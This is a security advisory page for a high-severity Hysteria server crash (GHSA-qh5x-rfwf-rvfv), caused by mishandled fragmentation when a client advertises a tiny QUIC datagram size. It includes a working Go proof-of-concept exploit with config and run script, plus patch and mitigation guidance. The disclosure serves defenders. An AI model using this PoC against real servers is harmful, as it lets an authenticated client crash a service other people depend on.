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HIGH severity

Hysteria vulnerable to server crash when max_datagram_frame_size very smallGHSA-qh5x-rfwf-rvfv

HIGH

GHSA-qh5x-rfwf-rvfv is a high-severity (CVSS 7.5) vulnerability in github.com/apernet/hysteria. A fix is available for github.com/apernet/hysteria — see the affected versions and patch details below.

Also known asGO-2026-5807
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 7, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/apernet/hysteria

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated client can crash the Hysteria server by advertising a very small QUIC max_datagram_frame_size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.

Details

The vulnerable path is the normal server-side UDP response path:

udpSessionEntry.receiveLoop
  -> sendMessageAutoFrag
    -> frag.FragUDPMessage

In core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:

fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))

However, FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:

maxPayloadSize := maxSize - m.HeaderSize()

If an attacker-controlled client advertises a small enough max_datagram_frame_size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:

frag.Data = fullPayload[off : off+payloadSize]

PoC

poc.yaml

listen: 127.0.0.1:8443

tls:
  cert: poc_server.crt
  key: poc_server.key

auth:
  type: password
  password: udp-frag-panic-poc


masquerade:
  type: string
  string:
    content: nope
    statusCode: 404

poc.go

//go:build poc

package main

import (
	"bytes"
	"context"
	"crypto/tls"
	"encoding/binary"
	"flag"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/url"
	"time"

	"github.com/apernet/quic-go"
	"github.com/apernet/quic-go/http3"
	"github.com/apernet/quic-go/quicvarint"
)

const (
	authHost = "hysteria"
	authPath = "/auth"
	authOK   = 233
)

func main() {
	server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	auth := flag.String("auth", "", "Hysteria auth/password")
	target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
	maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
	insecure := flag.Bool("insecure", true, "skip TLS verification")
	echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
	flag.Parse()

	if *auth == "" {
		panic("--auth is required")
	}
	if *echo {
		closeEcho := startUDPEcho(*target)
		defer closeEcho()
	}

	conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
	defer cleanup()

	msg := hysteriaUDPMessage(1, *target, []byte("X"))
	fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
		*target, udpHeaderSize(*target), len(msg), *maxDatagram)

	if err := conn.SendDatagram(msg); err != nil {
		panic(fmt.Errorf("send trigger datagram: %w", err))
	}
	fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")

	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
	defer cancel()
	if _, err := conn.ReceiveDatagram(ctx); err != nil {
		fmt.Printf("[*] receive after trigger: %v\n", err)
	} else {
		fmt.Println("[!] received a response; try a smaller --max-datagram")
	}
}

func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
	serverAddr, err := net.ResolveUDPAddr("udp", server)
	if err != nil {
		panic(err)
	}
	udpConn, err := net.ListenUDP("udp", nil)
	if err != nil {
		panic(err)
	}

	transport := &quic.Transport{Conn: udpConn}
	var qconn *quic.Conn
	rt := &http3.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
		QUICConfig: &quic.Config{
			EnableDatagrams:      true,
			MaxDatagramFrameSize: maxDatagram,
			DisablePathManager:   true,
		},
		Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
			qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
			return qconn, err
		},
	}

	req := &http.Request{
		Method: http.MethodPost,
		Host:   authHost,
		URL:    &url.URL{Scheme: "https", Host: authHost, Path: authPath},
		Header: http.Header{},
		Body:   io.NopCloser(bytes.NewReader(nil)),
	}
	req.Header.Set("Hysteria-Auth", auth)
	req.Header.Set("Hysteria-CC-RX", "0")

	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()
	resp, err := rt.RoundTrip(req.WithContext(ctx))
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	if resp.StatusCode != authOK {
		panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
	}
	if resp.Header.Get("Hysteria-UDP") == "false" {
		panic("server reports UDP disabled")
	}

	cleanup := func() {
		_ = rt.Close()
		_ = transport.Close()
		_ = udpConn.Close()
		if qconn != nil {
			_ = qconn.CloseWithError(0, "")
		}
	}
	return qconn, cleanup
}

func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
	buf := make([]byte, udpHeaderSize(addr)+len(data))
	binary.BigEndian.PutUint32(buf[0:4], sessionID)
	// PacketID=0, FragID=0, FragCount=1.
	buf[7] = 1
	i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
	i += copy(buf[i:], addr)
	copy(buf[i:], data)
	return buf
}

func udpHeaderSize(addr string) int {
	return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}

func startUDPEcho(addr string) func() {
	pc, err := net.ListenPacket("udp", addr)
	if err != nil {
		panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
	}
	fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())

	go func() {
		buf := make([]byte, 2048)
		for {
			n, raddr, err := pc.ReadFrom(buf)
			if err != nil {
				return
			}
			_, _ = pc.WriteTo(buf[:n], raddr)
		}
	}()
	return func() { _ = pc.Close() }
}

poc.sh

go run -tags poc ./poc_udp_frag_panic.go \
  --server 127.0.0.1:8443 \
  --auth udp-frag-panic-poc \
  --insecure \
  --target 127.0.0.1:19090 \
  --max-datagram 20

Impact

Server crash

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/apernet/hysteriaall versions2.9.2go get github.com/apernet/hysteria@v2.9.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/apernet/hysteria to 2.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qh5x-rfwf-rvfv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process. ### Details The vulnerable path is
O3 Security · Impact-Aware SCA

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